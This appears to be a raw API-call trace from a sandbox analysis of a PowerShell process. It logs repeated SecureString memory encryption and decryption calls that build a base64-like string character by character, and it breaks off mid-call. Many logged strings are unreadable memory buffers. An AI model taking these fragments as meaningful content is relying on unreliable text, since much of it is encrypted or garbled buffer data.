SysStringLen (param_1="ࡇ翃䰻\\矘䅅") returned 0x10 [0227.973] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0227.973] SysStringLen (param_1="PWhjofTg5䝖釴偯ҫ豾") returned 0x10 [0227.973] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0227.974] SysStringLen (param_1="ࡇ翃䰻\\矘䅅⏀篭돗댭䊐燭ᰜ坭") returned 0x10 [0227.974] SysStringLen (param_1="ࡇ翃䰻\\矘䅅⏀篭돗댭䊐燭ᰜ坭") returned 0x10 [0227.974] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0227.974] SysStringLen (param_1="PWhjofTg5V釴偯ҫ豾") returned 0x10 [0227.974] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0227.974] SysStringLen (param_1="ࡇ翃䰻\\矘䅅Ⲥ᠞跜埳룥풣ఈ") returned 0x10 [0227.974] SysStringLen (param_1="ࡇ翃䰻\\矘䅅Ⲥ᠞跜埳룥풣ఈ") returned 0x10 [0227.974] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0227.974] SysStringLen (param_1="PWhjofTg5VG偯ҫ豾") returned 0x10 [0227.974] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0227.974] SysStringLen (param_1="ࡇ翃䰻\\矘䅅ힱ碰櫯䈮덯悠䈘⾔") returned 0x10 [0227.974] SysStringLen (param_1="ࡇ翃䰻\\矘䅅ힱ碰櫯䈮덯悠䈘⾔") returned 0x10 [0227.974] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0227.975] SysStringLen (param_1="PWhjofTg5VGA偯ҫ豾") returned 0x10 [0227.975] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0227.975] SysStringLen (param_1="ࡇ翃䰻\\矘䅅튱挏棏愰⎝螢") returned 0x10 [0227.975] SysStringLen (param_1="ࡇ翃䰻\\矘䅅튱挏棏愰⎝螢") returned 0x10 [0227.975] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0227.975] SysStringLen (param_1="PWhjofTg5VGAtҫ豾") returned 0x10 [0227.975] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0227.975] SysStringLen (param_1="ࡇ翃䰻\\矘䅅瓅倻넵卅ⓐడ䍏") returned 0x10 [0227.975] SysStringLen (param_1="ࡇ翃䰻\\矘䅅瓅倻넵卅ⓐడ䍏") returned 0x10 [0227.975] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0227.975] SysStringLen (param_1="PWhjofTg5VGAt+ҫ豾") returned 0x10 [0227.975] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0227.976] SysStringLen (param_1="ࡇ翃䰻\\矘䅅\櫞㕦瀩醋㴈㺢ꈂ⋤) returned 0x10 [0227.976] SysStringLen (param_1="ࡇ翃䰻\\矘䅅\櫞㕦瀩醋㴈㺢ꈂ⋤) returned 0x10 [0227.976] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0227.976] SysStringLen (param_1="PWhjofTg5VGAt+c豾") returned 0x10 [0227.976] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0227.976] SysStringLen (param_1="ࡇ翃䰻\\矘䅅瘪ᶂ씢ﱾ頏祎觗旟") returned 0x10 [0227.976] SysStringLen (param_1="ࡇ翃䰻\\矘䅅瘪ᶂ씢ﱾ頏祎觗旟") returned 0x10 [0227.976] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0227.976] SysStringLen (param_1="PWhjofTg5VGAt+cq") returned 0x10 [0227.976] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0227.976] SysStringLen (param_1="ࡇ翃䰻\\矘䅅掕獕紾㴔瘳続") returned 0x10 [0227.977] SysStringLen (param_1="ࡇ翃䰻\\矘䅅掕獕紾㴔瘳続") returned 0x10 [0227.977] SysStringLen (param_1="ࡇ翃䰻\\矘䅅掕獕紾㴔瘳続") returned 0x10 [0227.977] SysStringLen (param_1="ࡇ翃䰻\\矘䅅掕獕紾㴔瘳続") returned 0x18 [0227.977] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0227.977] SysStringLen (param_1="PWhjofTg5VGAt+cq+䯀੗䢾뛻쁌໩⏘") returned 0x18 [0227.977] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0227.977] SysStringLen (param_1="ࡇ翃䰻\\矘䅅掕獕紾㴔瘳続雁했蹈ମзň訙") returned 0x18 [0227.977] SysStringLen (param_1="ࡇ翃䰻\\矘䅅掕獕紾㴔瘳続雁했蹈ମзň訙") returned 0x18 [0227.977] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0227.978] SysStringLen (param_1="PWhjofTg5VGAt+cq+0੗䢾뛻쁌໩⏘") returned 0x18 [0227.978] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0228.135] SysStringLen (param_1="ࡇ翃䰻\\矘䅅掕獕紾㴔瘳続膬쁓葴虯釠葦푸흌") returned 0x18 [0228.135] SysStringLen (param_1="ࡇ翃䰻\\矘䅅掕獕紾㴔瘳続膬쁓葴虯釠葦푸흌") returned 0x18 [0228.135] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0228.135] SysStringLen (param_1="PWhjofTg5VGAt+cq+0r䢾뛻쁌໩⏘") returned 0x18 [0228.135] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0228.135] SysStringLen (param_1="ࡇ翃䰻\\矘䅅掕獕紾㴔瘳続▨둪ᱝ鐟柂") returned 0x18 [0228.135] SysStringLen (param_1="ࡇ翃䰻\\矘䅅掕獕紾㴔瘳続▨둪ᱝ鐟柂") returned 0x18 [0228.135] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0228.136] SysStringLen (param_1="PWhjofTg5VGAt+cq+0rf뛻쁌໩⏘") returned 0x18 [0228.136] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0228.136] SysStringLen (param_1="ࡇ翃䰻\\矘䅅掕獕紾㴔瘳続扩噄풴晘⺦ⷅ") returned 0x18 [0228.136] SysStringLen (param_1="ࡇ翃䰻\\矘䅅掕獕紾㴔瘳続扩噄풴晘⺦ⷅ") returned 0x18 [0228.136] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0228.136] SysStringLen (param_1="PWhjofTg5VGAt+cq+0rfG쁌໩⏘") returned 0x18 [0228.136] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0228.136] SysStringLen (param_1="ࡇ翃䰻\\矘䅅掕獕紾㴔瘳続汘┛ﮨ旷瞷Ꭻⷾ") returned 0x18 [0228.136] SysStringLen (param_1="ࡇ翃䰻\\矘䅅掕獕紾㴔瘳続汘┛ﮨ旷瞷Ꭻⷾ") returned 0x18 [0228.136] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0228.136] SysStringLen (param_1="PWhjofTg5VGAt+cq+0rfGX໩⏘") returned 0x18 [0228.136] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0228.137] SysStringLen (param_1="ࡇ翃䰻\\矘䅅掕獕紾㴔瘳続⫂딕活඙谅껣潓ᰂ") returned 0x18 [0228.137] SysStringLen (param_1="ࡇ翃䰻\\矘䅅掕獕紾㴔瘳続⫂딕活඙谅껣潓ᰂ") returned 0x18 [0228.137] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0228.137] SysStringLen (param_1="PWhjofTg5VGAt+cq+0rfGXJ⏘") returned 0x18 [0228.137] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0228.137] SysStringLen (param_1="ࡇ翃䰻\\矘䅅掕獕紾㴔瘳続뱚呺曇᳥鈒ꖕ靛") returned 0x18 [0228.137] SysStringLen (param_1="ࡇ翃䰻\\矘䅅掕獕紾㴔瘳続뱚呺曇᳥鈒ꖕ靛") returned 0x18 [0228.137] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0228.137] SysStringLen (param_1="PWhjofTg5VGAt+cq+0rfGXJk") returned 0x18 [0228.137] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0228.137] SysStringLen (param_1="ࡇ翃䰻\\矘䅅掕獕紾㴔瘳続끀秐ﰞ뎹⮭꿫퀣") returned 0x18 [0228.138] SysStringLen (param_1="ࡇ翃䰻\\矘䅅掕獕紾㴔瘳続끀秐ﰞ뎹⮭꿫퀣") returned 0x18 [0228.138] SysStringLen (param_1="ࡇ翃䰻\\矘䅅掕獕紾㴔瘳続끀秐ﰞ뎹⮭꿫퀣") returned 0x18 [0228.138] SysStringLen (param_1="ࡇ翃䰻\\矘䅅掕獕紾㴔瘳続끀秐ﰞ뎹⮭꿫퀣") returned 0x20 [0228.138] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0228.138] SysStringLen (param_1="PWhjofTg5VGAt+cq+0rfGXJkt䅅護ॷꁂᦔꍐ⿢") returned 0x20 [0228.138] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0228.139] SysStringLen (param_1="ࡇ翃䰻\\矘䅅掕獕紾㴔瘳続끀秐ﰞ뎹⮭꿫퀣㠇龬ৰ堹퀾瞬餭뭔") returned 0x20 [0228.139] SysStringLen (param_1="ࡇ翃䰻\\矘䅅掕獕紾㴔瘳続끀秐ﰞ뎹⮭꿫퀣㠇龬ৰ堹퀾瞬餭뭔") returned 0x20 [0228.139] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0228.139] SysStringLen (param_1="PWhjofTg5VGAt+cq+0rfGXJktl護ॷꁂᦔꍐ⿢") returned 0x20 [0228.139] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0228.139] SysStringLen (param_1="ࡇ翃䰻\\矘䅅掕獕紾㴔瘳続끀秐ﰞ뎹⮭꿫퀣칪⌫視漮쳡獆拣") returned 0x20 [0228.139] SysStringLen (param_1="ࡇ翃䰻\\矘䅅掕獕紾㴔瘳続끀秐ﰞ뎹⮭꿫퀣칪⌫視漮쳡獆拣") returned 0x20 [0228.139] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0228.139] SysStringLen (param_1="PWhjofTg5VGAt+cq+0rfGXJktl/ॷꁂᦔꍐ⿢") returned 0x20 [0228.139] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0228.139] SysStringLen (param_1="ࡇ翃䰻\\矘䅅掕獕紾㴔瘳続끀秐ﰞ뎹⮭꿫퀣녎盍狱쩤♍䔆췇㼤") returned 0x20 [0228.139] SysStringLen (param_1="ࡇ翃䰻\\矘䅅掕獕紾㴔瘳続끀秐ﰞ뎹⮭꿫퀣녎盍狱쩤♍䔆췇㼤") returned 0x20 [0228.139] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0228.140] SysStringLen (param_1="PWhjofTg5VGAt+cq+0rfGXJktl/7ꁂᦔꍐ⿢") returned 0x20 [0228.140] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0228.140] SysStringLen (param_1="ࡇ翃䰻\\矘䅅掕獕紾㴔瘳続끀秐ﰞ뎹⮭꿫퀣锈䨛镫플ᱧ\䫘⋘) returned 0x20 [0228.140] SysStringLen (param_1="ࡇ翃䰻\\矘䅅掕獕紾㴔瘳続끀秐ﰞ뎹⮭꿫퀣锈䨛镫플ᱧ\䫘⋘) returned 0x20 [0228.140] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0228.140] SysStringLen (param_1="PWhjofTg5VGAt+cq+0rfGXJktl/74ᦔꍐ⿢") returned 0x20 [0228.140] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0228.140] SysStringLen (param_1="ࡇ翃䰻\\矘䅅掕獕紾㴔瘳続끀秐ﰞ뎹⮭꿫퀣避笕㢞맄暔춑쨑") returned 0x20 [0228.140] SysStringLen (param_1="ࡇ翃䰻\\矘䅅掕獕紾㴔瘳続끀秐ﰞ뎹⮭꿫퀣避笕㢞맄暔춑쨑") returned 0x20 [0228.140] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0228.140] SysStringLen (param_1="PWhjofTg5VGAt+cq+0rfGXJktl/74tꍐ⿢") returned 0x20 [0228.140] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0228.141] SysStringLen (param_1="ࡇ翃䰻\\矘䅅掕獕紾㴔瘳続끀秐ﰞ뎹⮭꿫퀣腯䤮䛋⯐舖") returned 0x20 [0228.141] SysStringLen (param_1="ࡇ翃䰻\\矘䅅掕獕紾㴔瘳続끀秐ﰞ뎹⮭꿫퀣腯䤮䛋⯐舖") returned 0x20 [0228.141] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0228.141] SysStringLen (param_1="PWhjofTg5VGAt+cq+0rfGXJktl/74tz⿢") returned 0x20 [0228.141] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0228.141] SysStringLen (param_1="ࡇ翃䰻\\矘䅅掕獕紾㴔瘳続끀秐ﰞ뎹⮭꿫퀣\ꃚ勒궈驗䂦築Ơ⋜) returned 0x20 [0228.141] SysStringLen (param_1="ࡇ翃䰻\\矘䅅掕獕紾㴔瘳続끀秐ﰞ뎹⮭꿫퀣\ꃚ勒궈驗䂦築Ơ⋜) returned 0x20 [0228.141] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0228.141] SysStringLen (param_1="PWhjofTg5VGAt+cq+0rfGXJktl/74tzs") returned 0x20 [0228.141] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0228.141] SysStringLen (param_1="ࡇ翃䰻\\矘䅅掕獕紾㴔瘳続끀秐ﰞ뎹⮭꿫퀣蛗ឤ踧宫ᅬ냧") returned 0x20 [0228.142] SysStringLen (param_1="ࡇ翃䰻\\矘䅅掕獕紾㴔瘳続끀秐ﰞ뎹⮭꿫퀣蛗ឤ踧宫ᅬ냧") returned 0x20 [0228.142] SysStringLen (param_1="ࡇ翃䰻\\矘䅅掕獕紾㴔瘳続끀秐ﰞ뎹⮭꿫퀣蛗ឤ踧宫ᅬ냧") returned 0x20 [0228.142] SysStringLen (param_1="ࡇ翃䰻\\矘䅅掕獕紾㴔瘳続끀秐ﰞ뎹⮭꿫퀣蛗ឤ踧宫ᅬ냧") returned 0x28 [0228.142] SystemFunction041 (in: Memory=0x5c9256c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9256c) returned 0x0 [0228.142] SysStringLen (param_1="PWhjofTg5VGAt+cq+0rfGXJktl/74tzsA\췝塠졞퐅῭\緜") returned 0x28 [0228.142] SystemFunction040 (in: Memory=0x5c9256c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9256c) returned 0x0 [0228.142] SysStringLen (param_1="ࡇ翃䰻\\矘䅅掕獕紾㴔瘳続끀秐ﰞ뎹⮭꿫퀣蛗ឤ踧宫ᅬ냧켇ᑙ殸䉋\ේ憺懄⋗) returned 0x28 [0228.142] SysStringLen (param_1="ࡇ翃䰻\\矘䅅掕獕紾㴔瘳続끀秐ﰞ뎹⮭꿫퀣蛗ឤ踧宫ᅬ냧켇ᑙ殸䉋\ේ憺懄⋗) returned 0x28 [0228.142] SystemFunction041 (in: Memory=0x5c9256c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9256c) returned 0x0 [0228.143] SysStringLen (param_1="PWhjofTg5VGAt+cq+0rfGXJktl/74tzsAC惍幘׈戟緜") returned 0x28 [0228.143] SystemFunction040 (in: Memory=0x5c9256c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9256c) returned 0x0 [0228.143] SysStringLen (param_1="ࡇ翃䰻\\矘䅅掕獕紾㴔瘳続끀秐ﰞ뎹⮭꿫퀣蛗ឤ踧宫ᅬ냧僼壱莂쮧䌛蕰v") returned 0x28 [0228.143] SysStringLen (param_1="ࡇ翃䰻\\矘䅅掕獕紾㴔瘳続끀秐ﰞ뎹⮭꿫퀣蛗ឤ踧宫ᅬ냧僼壱莂쮧䌛蕰v") returned 0x28 [0228.143] SystemFunction041 (in: Memory=0x5c9256c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9256c) returned 0x0 [0228.143] SysStringLen (param_1="PWhjofTg5VGAt+cq+0rfGXJktl/74tzsACg幘׈戟緜") returned 0x28 [0228.143] SystemFunction040 (in: Memory=0x5c9256c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9256c) returned 0x0 [0228.143] SysStringLen (param_1="ࡇ翃䰻\\矘䅅掕獕紾㴔瘳続끀秐ﰞ뎹⮭꿫퀣蛗ឤ踧宫ᅬ냧쁮⎥핵ﴌ奅") returned 0x28 [0228.143] SysStringLen (param_1="ࡇ翃䰻\\矘䅅掕獕紾㴔瘳続끀秐ﰞ뎹⮭꿫퀣蛗ឤ踧宫ᅬ냧쁮⎥핵ﴌ奅") returned 0x28 [0228.143] SystemFunction041 (in: Memory=0x5c9256c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9256c) returned 0x0 [0228.143] SysStringLen (param_1="PWhjofTg5VGAt+cq+0rfGXJktl/74tzsACgY׈戟緜") returned 0x28 [0228.143] SystemFunction040 (in: Memory=0x5c9256c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9256c) returned 0x0 [0228.143] SysStringLen (param_1="ࡇ翃䰻\\矘䅅掕獕紾㴔瘳続끀秐ﰞ뎹⮭꿫퀣蛗ឤ踧宫ᅬ냧泋藠ᒠ\᫙៨熩∷) returned 0x28 [0228.143] SysStringLen (param_1="ࡇ翃䰻\\矘䅅掕獕紾㴔瘳続끀秐ﰞ뎹⮭꿫퀣蛗ឤ踧宫ᅬ냧泋藠ᒠ\᫙៨熩∷) returned 0x28 [0228.144] SystemFunction041 (in: Memory=0x5c9256c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9256c) returned 0x0 [0228.144] SysStringLen (param_1="PWhjofTg5VGAt+cq+0rfGXJktl/74tzsACgYH戟緜") returned 0x28 [0228.144] SystemFunction040 (in: Memory=0x5c9256c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9256c) returned 0x0 [0228.144] SysStringLen (param_1="ࡇ翃䰻\\矘䅅掕獕紾㴔瘳続끀秐ﰞ뎹⮭꿫퀣蛗ឤ踧宫ᅬ냧䵇鼷咃࿍ᾢ꟝ᇓ㴽") returned 0x28 [0228.144] SysStringLen (param_1="ࡇ翃䰻\\矘䅅掕獕紾㴔瘳続끀秐ﰞ뎹⮭꿫퀣蛗ឤ踧宫ᅬ냧䵇鼷咃࿍ᾢ꟝ᇓ㴽") returned 0x28 [0228.144] SystemFunction041 (in: Memory=0x5c9256c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9256c) returned 0x0 [0228.144] SysStringLen (param_1="PWhjofTg5VGAt+cq+0rfGXJktl/74tzsACgYH5戟緜") returned 0x28 [0228.144] SystemFunction040 (in: Memory=0x5c9256c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9256c) returned 0x0 [0228.144] SysStringLen (param_1="ࡇ翃䰻\\矘䅅掕獕紾㴔瘳続끀秐ﰞ뎹⮭꿫퀣蛗ឤ踧宫ᅬ냧澕쇏\ო瓂턀铍鏔⊧) returned 0x28 [0228.144] SysStringLen (param_1="ࡇ翃䰻\\矘䅅掕獕紾㴔瘳続끀秐ﰞ뎹⮭꿫퀣蛗ឤ踧宫ᅬ냧澕쇏\ო瓂턀铍鏔⊧) returned 0x28 [0228.144] SystemFunction041 (in: Memory=0x5c9256c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9256c) returned 0x0 [0228.144] SysStringLen (param_1="PWhjofTg5VGAt+cq+0rfGXJktl/74tzsACgYH5B緜") returned 0x28 [0228.145] SystemFunction040 (in: Memory=0x5c9256c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9256c) returned 0x0 [0228.145] SysStringLen (param_1="ࡇ翃䰻\\矘䅅掕獕紾㴔瘳続끀秐ﰞ뎹⮭꿫퀣蛗ឤ踧宫ᅬ냧镕腧뮈༱⿕䅸䷳") returned 0x28 [0228.145] SysStringLen (param_1="ࡇ翃䰻\\矘䅅掕獕紾㴔瘳続끀秐ﰞ뎹⮭꿫퀣蛗ឤ踧宫ᅬ냧镕腧뮈༱⿕䅸䷳") returned 0x28 [0228.145] SystemFunction041 (in: Memory=0x5c9256c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9256c) returned 0x0 [0228.145] SysStringLen (param_1="PWhjofTg5VGAt+cq+0rfGXJktl/74tzsACgYH5Bd") returned 0x28 [0228.145] SystemFunction040 (in: Memory=0x5c9256c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9256c) returned 0x0 [0228.145] SysStringLen (param_1="ࡇ翃䰻\\矘䅅掕獕紾㴔瘳続끀秐ﰞ뎹⮭꿫퀣蛗ឤ踧宫ᅬ냧灕㝽\盛酫髀勻굪⊎) returned 0x28 [0228.145] SysStringLen (param_1="ࡇ翃䰻\\矘䅅掕獕紾㴔瘳続끀秐ﰞ뎹⮭꿫퀣蛗ឤ踧宫ᅬ냧灕㝽\盛酫髀勻굪⊎) returned 0x28 [0228.145] SysStringLen (param_1="ࡇ翃䰻\\矘䅅掕獕紾㴔瘳続끀秐ﰞ뎹⮭꿫퀣蛗ឤ踧宫ᅬ냧灕㝽\盛酫髀勻굪⊎) returned 0x28 [0228.146] SysStringLen (param_1="ࡇ翃䰻\\矘䅅掕獕紾㴔瘳続끀秐ﰞ뎹⮭꿫퀣蛗ឤ踧宫ᅬ냧灕㝽\盛酫髀勻굪⊎) returned 0x30 [0228.146] SystemFunction041 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0228.146] SysStringLen (param_1="PWhjofTg5VGAt+cq+0rfGXJktl/74tzsACgYH5BdM࿨겦톸䭾䷥ᤡ䎖") returned 0x30 [0228.146] SystemFunction040 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0228.146] SysStringLen (param_1="ࡇ翃䰻\\矘䅅掕獕紾㴔瘳続끀秐ﰞ뎹⮭꿫퀣蛗ឤ踧宫ᅬ냧灕㝽\盛酫髀勻굪榎䫔䉄ॉ⟞襆虁≘) returned 0x30 [0228.146] SysStringLen (param_1="ࡇ翃䰻\\矘䅅掕獕紾㴔瘳続끀秐ﰞ뎹⮭꿫퀣蛗ឤ踧宫ᅬ냧灕㝽\盛酫髀勻굪榎䫔䉄ॉ⟞襆虁≘) returned 0x30 [0228.146] SystemFunction041 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0228.146] SysStringLen (param_1="PWhjofTg5VGAt+cq+0rfGXJktl/74tzsACgYH5BdMw겦톸䭾䷥ᤡ䎖") returned 0x30 [0228.146] SystemFunction040 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0228.146] SysStringLen (param_1="ࡇ翃䰻\\矘䅅掕獕紾㴔瘳続끀秐ﰞ뎹⮭꿫퀣蛗ឤ踧宫ᅬ냧灕㝽\盛酫髀勻굪溎̸ښᒂ⃊ḏ⋷) returned 0x30 [0228.146] SysStringLen (param_1="ࡇ翃䰻\\矘䅅掕獕紾㴔瘳続끀秐ﰞ뎹⮭꿫퀣蛗ឤ踧宫ᅬ냧灕㝽\盛酫髀勻굪溎̸ښᒂ⃊ḏ⋷) returned 0x30 [0228.146] SystemFunction041 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0228.146] SysStringLen (param_1="PWhjofTg5VGAt+cq+0rfGXJktl/74tzsACgYH5BdMwA톸䭾䷥ᤡ䎖") returned 0x30 [0228.147] SystemFunction040 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0228.147] SysStringLen (param_1="ࡇ翃䰻\\矘䅅掕獕紾㴔瘳続끀秐ﰞ뎹⮭꿫퀣蛗ឤ踧宫ᅬ냧灕㝽\盛酫髀勻굪㪎钂ꕢ䤦妟缍琛∴) returned 0x30 [0228.147] SysStringLen (param_1="ࡇ翃䰻\\矘䅅掕獕紾㴔瘳続끀秐ﰞ뎹⮭꿫퀣蛗ឤ踧宫ᅬ냧灕㝽\盛酫髀勻굪㪎钂ꕢ䤦妟缍琛∴) returned 0x30 [0228.147] SystemFunction041 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0228.147] SysStringLen (param_1="PWhjofTg5VGAt+cq+0rfGXJktl/74tzsACgYH5BdMwA=䭾䷥ᤡ䎖") returned 0x30 [0228.147] SystemFunction040 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0228.147] EtwEventActivityIdControl () returned 0x0 [0228.147] EtwEventActivityIdControl () returned 0x0 [0228.147] EtwEventActivityIdControl () returned 0x0 [0228.148] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e684, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0228.148] EtwEventActivityIdControl () returned 0x0 [0228.148] EtwEventActivityIdControl () returned 0x0 [0228.148] EtwEventActivityIdControl () returned 0x0 [0228.149] SysStringLen (param_1="") returned 0x8 [0228.149] SysStringLen (param_1="N") returned 0x8 [0228.149] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0228.149] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0228.149] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0228.149] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0228.149] SysStringLen (param_1="ND") returned 0x8 [0228.149] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0228.150] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0228.150] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0228.150] SystemFunction041 (in: 